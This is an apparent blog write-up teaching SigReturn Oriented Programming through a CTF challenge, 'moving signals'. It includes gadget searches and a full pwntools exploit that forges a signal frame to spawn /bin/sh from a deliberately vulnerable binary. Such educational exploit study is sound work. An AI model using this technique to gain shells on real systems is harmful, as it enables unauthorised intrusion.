A quick demonstration of SigReturn Oriented Programming

sharkmoos
3 min readAug 22, 2021

Sigreturn Oriented Programming (SROP) is an exploit development technique which uses similar principles to Return Oriented Programming.

What is SROP?

When a program is running and a signal occurs, the kernel pauses the process execution in order to jump to a signal handler routine. An example of this could be a user keyboard interrupt which triggers a SigKill. So that execution may be resumed safely after the handler completes, the context of that process is pushed onto the stack. When the handler is finished, a sigreturn() is called which will restore the context of the process by popping the values from the stack. This is what is exploitable. For a more detailed explanation of Signals and SigRop read here.

Why should I care?

Sometimes when exploiting a binary we realise that we don’t have the correct ROP gadgets to do what we want (i.e get a shell, read a file, execute code). In this situation we could attempt to trigger a SigReturn and enter the gadgets we need into the process.

How do we exploit this?

The attack is possible by pushing a forged sigcontext structure onto the stack and overwriting the return address with a gadget that allows us to call the sigreturn().

The sigcontext structure length is 248 bytes, with the first 8 bytes containing the rt_sigreturn(). So we have 240 bytes to play with.

We need to use some gadgets in order to trigger the signal. Essentially we need to make a syscall whilst the rt_sigreturn syscall number is in the rax register.

# x64
mov rax, 0x0f; syscall; ret
# x86
mov eax, 0x77; int 0x80; ret

A worked example

This binary is from the 0x41414141 2021 CTF, challenge name *moving signals*. You can download the challenge here. It was a very small program so we do not need to spend time faffing trying to find the overflow, offset etc, however it is a good example of what can be done with SROP.

> ./moving-signals
a
[1] 7240 segmentation fault (core dumped) ./moving-signals

Initially it looks like a very easy challenge, due to the fact no protections are enabled.

gef➤  checksec
[+] checksec for '/home/sharmoos/Documents/github/CovComSec/binexp/sigreturn/2/moving-signals'
Canary : ✘
NX : ✘
PIE : ✘
Fortify : ✘
RelRO : ✘

Should be a simple buffer overflow right?

Disassembling the only binary, we see it only consists of only a few lines of code, there is no output of the program so we won’t be able to leak any values. We can control the return pointer at offset 8.

There is no libc, no entries in got, and not many gadgets. The program does not output anything so we will not be able to leak addresses. This means pretty much no simple ROP techniques are available.

We do however have the a gadget to control rax, and a sycall gadget. This means we can trigger a sigreturn. We also have the string /bin/sh within the binary.

gef➤  ropper --search "pop rax"
[...]
0x0000000000041018: pop rax; ret;
gef➤ ropper --search "syscall"
[...]
0x0000000000041015: syscall;
gef➤ search-pattern "/bin/sh"
[...]
moving-signals'(0x41000-0x42000), permission=rwx
0x41250 - 0x41257 → "/bin/sh"

We should be able to forge a sigreturn frame that has a syscall to trigger /bin/sh.

We can use the magic of pwntools to create a fake signal frame. We simply need to specify the values we need in each register.

from pwn import *p = process("./moving-signals")
input("Attach gdb")
elf = context.binary = ELF("moving-signals", checksec=False)
rop = ROP(elf)
offset = 8 pop_rax = (rop.find_gadget(['pop rax', 'ret']))[0]
syscall_ret = (rop.find_gadget(['syscall', 'ret'])[0])
binsh = 0x41250 # found from ropper
frame = SigreturnFrame()
frame.rax = 59 # syscall code for execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0xdeadbeef # so we can find it easily
frame.rip = syscall_ret # When the signal context is returned to registers
# We want to trigger the execve syscall with /bin/sh
rop.raw(b"A" * offset)
rop.raw(p64(pop_rax))
rop.raw(p64(0xf)) # pop Sigreturn code into rax
rop.raw(p64(syscall_ret)) # Trigger the sigreturn
rop.raw(bytes(frame))# enter fake signal frame onto the stack
p.sendline(rop.chain())p.interactive()

Conclusion

This is an example of how, despite not having libc or the local gadgets to trigger execve directly, SROP made this possible.

If you’re interested in how this could be leveraged in a more advanced challenge, check out my blog post.

--

--

sharkmoos

Novice Cyber Security Enthusiast. I like sharing what I’ve learnt